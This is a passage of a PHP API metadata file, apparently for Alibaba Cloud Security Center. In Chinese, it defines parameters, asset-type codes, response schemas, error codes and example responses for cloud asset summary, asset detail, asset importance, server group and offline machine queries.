.' * **0**：NAT网关'."\n" + .' * **1**：EIP'."\n" + .' * **2**：VPN'."\n" + .' * **3**：FLOW_LOG'."\n" + .'- **11**：操作审计'."\n" + .' * **0**：跟踪'."\n" + .'- **12**：CDN'."\n" + .' * **0**：实例'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .' * **0**：证书'."\n" + .'- **14**：云效'."\n" + .' * **0**：组织'."\n" + .'- **16**：DDoS防护'."\n" + .' * **0**：实例'."\n" + .'- **17**：Web应用防火墙'."\n" + .' * **0**：域名'."\n" + .'- **18**：对象存储'."\n" + .' * **0**：Bucket'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .' * **0**：集群'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .' * **0**：实例'."\n" + .'- **21**：微服务引擎'."\n" + .' * **0**：集群'."\n" + .'- **22**：文件存储NAS'."\n" + .' * **0**：文件系统'."\n" + .'- **23**：数据安全中心'."\n" + .' * **0**：实例'."\n" + .'- **24**：弹性公网IP'."\n" + .' * **0**：任播弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .' * **0**：实例'."\n" + .'- **26**：PolarDB-X'."\n" + .' * **0**：实例'."\n" + .'- **27**：Elasticsearch'."\n" + .' * **0**：实例', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', + ], + 'GroupedFields' => [ + 'description' => '云资产概要信息。', + 'type' => 'object', + 'properties' => [ + 'CloudAssetSummaryMetas' => [ + 'description' => '云产品统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云产品的统计信息。', + 'type' => 'object', + 'properties' => [ + 'AssetType' => [ + 'description' => '云产品的类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .'- **14**：云效'."\n" + .'- **15**：访问控制'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .'- **21**：微服务引擎'."\n" + .'- **22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .'- **26**：PolarDB-X'."\n" + .'- **27**：Elasticsearch', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '16', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'InstanceCount' => [ + 'description' => '此类型云产品实例总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '16', + ], + 'InstanceRiskCount' => [ + 'description' => '此类型云产品存在风险的实例总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + ], + 'InstanceCountTotal' => [ + 'description' => '云产品实例总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '919', + ], + 'InstanceRiskCountTotal' => [ + 'description' => '存在风险的云产品实例总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '544', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\",\\n \\"GroupedFields\\": {\\n \\"CloudAssetSummaryMetas\\": [\\n {\\n \\"AssetType\\": 16,\\n \\"AssetSubType\\": 0,\\n \\"InstanceCount\\": 16,\\n \\"InstanceRiskCount\\": 5,\\n \\"Vendor\\": 3\\n }\\n ],\\n \\"InstanceCountTotal\\": 919,\\n \\"InstanceRiskCountTotal\\": 544\\n }\\n}","type":"json"}]', + 'title' => '获取云资产概要', + ], + 'GetCloudAssetDetail' => [ + 'summary' => '获取云资产详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量应用服务器', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'docRequired' => true, + 'example' => '0', + ], + ], + [ + 'name' => 'AssetType', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产的类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .'- **14**：云效'."\n" + .'- **15**：访问控制'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .'- **21**：微服务引擎'."\n" + .'- **22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .'- **26**：PolarDB-X'."\n" + .'- **27**：Elasticsearch', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'docRequired' => true, + 'example' => '14', + ], + ], + [ + 'name' => 'AssetSubType', + 'in' => 'query', + 'schema' => [ + 'description' => '云产品的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'docRequired' => true, + 'example' => '0', + ], + ], + [ + 'name' => 'CloudAssetInstances', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产详细信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产详细信息。', + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '云资产所在地域。'."\n" + .'> Region ID和区域名称的对应关系，请参见[地域和可用区](~~40654~~)。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + 'InstanceId' => [ + 'description' => '云资产的实例ID。', + 'type' => 'string', + 'required' => true, + 'docRequired' => true, + 'example' => 'sg-wz9hf86vbzbrrde7****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '云资产详情结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CB45CAED-31C3-517A-8619-10F632D3****', + ], + 'Instances' => [ + 'description' => '云资产详细信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云资产详细信息。', + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '云资产所在地域。'."\n" + .'> Region ID和区域名称的对应关系，请参见[地域和可用区](~~40654~~)。', + 'type' => 'string', + 'example' => 'cn-hanghzou', + ], + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量应用服务器', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云资产的类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .'- **14**：云效'."\n" + .'- **15**：访问控制'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .'- **21**：微服务引擎'."\n" + .'- **22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .'- **26**：PolarDB-X'."\n" + .'- **27**：Elasticsearch', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'InstanceId' => [ + 'description' => '云资产的实例ID。', + 'type' => 'string', + 'example' => 'rm-uf6t6u05n6g48****', + ], + 'InstanceName' => [ + 'description' => '云资产的实例名称。', + 'type' => 'string', + 'example' => 'yztest-l***', + ], + 'CreatedTime' => [ + 'description' => '云资产实例创建时间。时间戳形式展示。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1607365213000', + ], + 'InternetIp' => [ + 'description' => '实例的公网IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'AlarmStatus' => [ + 'description' => '当前云资产是否存在安全告警。取值：'."\n" + .'- **YES**：存在安全告警'."\n" + .'- **NO**：不存在安全告警', + 'type' => 'string', + 'example' => 'NO', + ], + 'RiskStatus' => [ + 'description' => '当前云资产是否存在安全风险。取值：'."\n" + .'- **YES**：存在'."\n" + .'- **NO**：不存在', + 'type' => 'string', + 'example' => 'NO', + ], + 'AssetTypeName' => [ + 'description' => '云资产类型名称。', + 'type' => 'string', + 'example' => 'RDS', + ], + 'AssetSubTypeName' => [ + 'description' => '云资产的子类型名称。', + 'type' => 'string', + 'example' => 'INSTANCE', + ], + 'SecurityInfo' => [ + 'description' => '云资产的安全信息。', + 'type' => 'string', + 'example' => '{\\"seriousNum\\":0,\\"appNum\\":0,\\"baselineMedium\\":0,\\"remindNum\\":0,\\"imageVulNntf\\":0,\\"cveNum\\":0,\\"vul\\":0,\\"uuid\\":\\"rm-uf6t6u05n6g485o70\\",\\"emgNum\\":0,\\"weakPWNum\\":0,\\"imageMaliciousFileRemind\\":0,\\"imageBaselineMedium\\":0,\\"laterVulCount\\":0,\\"cmsNum\\":0,\\"imageMaliciousFileSerious\\":0,\\"agentlessMalicious\\":0,\\"suspNum\\":0,\\"imageBaselineHigh\\":0,\\"asapVulCount\\":0,\\"imageVulLater\\":0,\\"agentlessAll\\":0,\\"sysNum\\":0,\\"containerLater\\":0,\\"containerSuspicious\\":0,\\"imageBaselineNum\\":0,\\"newSuspicious\\":0,\\"nntfVulCount\\":0,\\"scaNum\\":0,\\"containerNntf\\":0,\\"health\\":0,\\"trojan\\":0,\\"suspicious\\":0,\\"imageMaliciousFileSuspicious\\":0,\\"containerRemind\\":0,\\"baselineLow\\":0,\\"imageVulAsap\\":0,\\"imageBaselineLow\\":0,\\"containerAsap\\":0,\\"agentlessBaseline\\":0,\\"agentlessVulSca\\":0,\\"agentlessVulCve\\":0,\\"containerSerious\\":0,\\"baselineHigh\\":0,\\"account\\":0,\\"baselineNum\\":6}', + ], + 'DetailLink' => [ + 'description' => '云资产的明细地址。', + 'type' => 'string', + 'example' => 'https://rdsnext.console.aliyun.com/detail/rm-uf6t6u05n6g48****/basicInfo?region=cn-shanghai', + ], + 'VendorUid' => [ + 'description' => '多云实例的账号ID。', + 'type' => 'string', + 'example' => '123', + ], + 'VendorUserName' => [ + 'description' => '多云实例的账号名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'OriginalAssetInfo' => [ + 'description' => '资产详细信息。', + 'type' => 'string', + 'example' => '{"owner":{"displayName":"123","id":"123"},"intranetEndpoint":"oss-cn-shanghai-internal.aliyuncs.com","extranetEndpoint":"oss-cn-shanghai.aliyuncs.com","storageClass":"Standard","name":"test","location":"oss-cn-shanghai","creationDate":1629882579000,"region":"cn-shanghai"}', + ], + ], + ], + ], + 'Count' => [ + 'description' => '查询到的云资产列表内的实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CB45CAED-31C3-517A-8619-10F632D3****\\",\\n \\"Instances\\": [\\n {\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"Vendor\\": 0,\\n \\"AssetType\\": 3,\\n \\"AssetSubType\\": 0,\\n \\"InstanceId\\": \\"rm-uf6t6u05n6g48****\\",\\n \\"InstanceName\\": \\"yztest-l***\\",\\n \\"CreatedTime\\": 1607365213000,\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"AssetTypeName\\": \\"RDS\\",\\n \\"AssetSubTypeName\\": \\"INSTANCE\\",\\n \\"SecurityInfo\\": \\"{\\\\\\\\\\\\\\"seriousNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"appNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"remindNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cveNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"vul\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"uuid\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"rm-uf6t6u05n6g485o70\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"emgNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"weakPWNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"laterVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cmsNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessMalicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"asapVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessAll\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"sysNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"newSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"nntfVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"scaNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"health\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"trojan\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessBaseline\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSca\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulCve\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"account\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineNum\\\\\\\\\\\\\\":6}\\",\\n \\"DetailLink\\": \\"https://rdsnext.console.aliyun.com/detail/rm-uf6t6u05n6g48****/basicInfo?region=cn-shanghai\\",\\n \\"VendorUid\\": \\"123\\",\\n \\"VendorUserName\\": \\"test\\",\\n \\"OriginalAssetInfo\\": \\"{\\\\\\"owner\\\\\\":{\\\\\\"displayName\\\\\\":\\\\\\"123\\\\\\",\\\\\\"id\\\\\\":\\\\\\"123\\\\\\"},\\\\\\"intranetEndpoint\\\\\\":\\\\\\"oss-cn-shanghai-internal.aliyuncs.com\\\\\\",\\\\\\"extranetEndpoint\\\\\\":\\\\\\"oss-cn-shanghai.aliyuncs.com\\\\\\",\\\\\\"storageClass\\\\\\":\\\\\\"Standard\\\\\\",\\\\\\"name\\\\\\":\\\\\\"test\\\\\\",\\\\\\"location\\\\\\":\\\\\\"oss-cn-shanghai\\\\\\",\\\\\\"creationDate\\\\\\":1629882579000,\\\\\\"region\\\\\\":\\\\\\"cn-shanghai\\\\\\"}\\"\\n }\\n ],\\n \\"Count\\": 1\\n}","type":"json"}]', + 'title' => '获取云资产详情', + ], + 'ModifyAssetImportant' => [ + 'summary' => '设置资产重要性。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92348', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ImportantCode', + 'in' => 'query', + 'schema' => [ + 'description' => '重要性。取值：'."\n" + ."\n" + .'- **0**：测试'."\n" + .'- **1**：一般'."\n" + .'- **2**：重要', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'schema' => [ + 'description' => '指定服务器UUID列表。多个UUID使用半角逗号（,）分隔。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances ](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '076a446d-df7d-424c-bdc5-bb5dc7f1****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回的数据信息。', + 'type' => 'object', + 'properties' => [ + 'HttpStatusCode' => [ + 'description' => '请求状态码，返回200代表请求成功。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '23C85959-1540-514B-93CF-2992C53A1B4F', + ], + 'ErrCode' => [ + 'description' => '调用出错时返回的错误码。', + 'type' => 'string', + 'example' => 'ServerError', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ErrMessage' => [ + 'description' => '调用错误时返回对应的错误信息。', + 'type' => 'string', + 'example' => 'ServerError', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"23C85959-1540-514B-93CF-2992C53A1B4F\\",\\n \\"ErrCode\\": \\"ServerError\\",\\n \\"Success\\": true,\\n \\"ErrMessage\\": \\"ServerError\\"\\n}","type":"json"}]', + 'title' => '设置重要资产', + ], + 'ModifyGroupProperty' => [ + 'summary' => '修改服务器分组的名称。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92365', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Data', + 'in' => 'query', + 'schema' => [ + 'description' => '指定服务器分组修改后，服务器分组新的属性信息。以下是相关参数的说明：'."\n" + ."\n" + .'- **groupFlag**：服务器分组类型。取值：**0**（默认分组）|**1**（其他分组）。'."\n" + .'- **groupId**：服务器分组ID。'."\n" + .'- **groupIndex**：分组排序编号。升序排列。'."\n" + .'- **groupName**：服务器分组名称。此处需设置修改后的服务器分组名称，且该名称不能与原服务器分组名称相同。'."\n" + ."\n" + .'> 您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取groupFlag和groupId的值。groupFlag和groupId的值不支持修改，仅支持修改groupName的值。', + 'type' => 'string', + 'required' => true, + 'example' => '[{"groupFlag":1,"groupId":8436682,"groupIndex":1,"groupName":"example"}]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\r\\n","errorExample":""}]', + 'title' => '修改服务器分组的名称', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeOfflineMachines' => [ + 'summary' => '获取离线服务器信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '180.113.XX.XX', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的备份文件的数量。默认值为**5**，表示每页显示5条备份文件。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '5', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '4', + ], + ], + [ + 'name' => 'RegionNo', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器所在的地域。'."\n" + ."\n" + .'> 您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口通过**Name**为**regionId**的项的**Values**来获取支持的地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'Os', + 'in' => 'query', + 'schema' => [ + 'description' => '操作系统。'."\n" + .'> 您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口通过**Name**为**osType**的项的**Values**来获取支持的操作系统。', + 'type' => 'string', + 'required' => false, + 'example' => 'linux', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产信息，可以设置为资产名称、公网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '172.20.XX.XX', + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'RegionIdStr', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器所在的地域。'."\n" + ."\n" + .'> 您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口通过**Name**为**regionId**的项的**Values**来获取支持的地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '查询返回的数据信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '44', + ], + 'MachineList' => [ + 'description' => '服务器信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '6d5b361f-958d-48a8-a9d2-d6e82c1****', + ], + 'MachineRegion' => [ + 'description' => '服务器所在的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'InternetIp' => [ + 'description' => '服务器外网IP。', + 'type' => 'string', + 'example' => '120.79.XX.XX', + ], + 'VendorName' => [ + 'description' => '服务器的服务商名称。'."\n" + ."\n" + .'取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **OUT**：云外资产'."\n" + .'- **IDC**：IDC'."\n" + .'- **TENCENT**：其它云'."\n" + .'- **HUAWEICLOUD**：其它云'."\n" + .'- **Microsoft**：其它云'."\n" + .'- **AWS**：其它云'."\n" + .'- **TRIPARTITE**：轻量级服务器', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'sql-test-001', + ], + 'Os' => [ + 'description' => '服务器的操作系统。取值：'."\n" + ."\n" + .'- **linux**：linux'."\n" + ."\n" + .'- **windows**：windows'."\n" + ."\n" + .'- **windows-2003**：windows-2003', + 'type' => 'string', + 'example' => 'linux', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'sas-bdrvxb4b****', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" 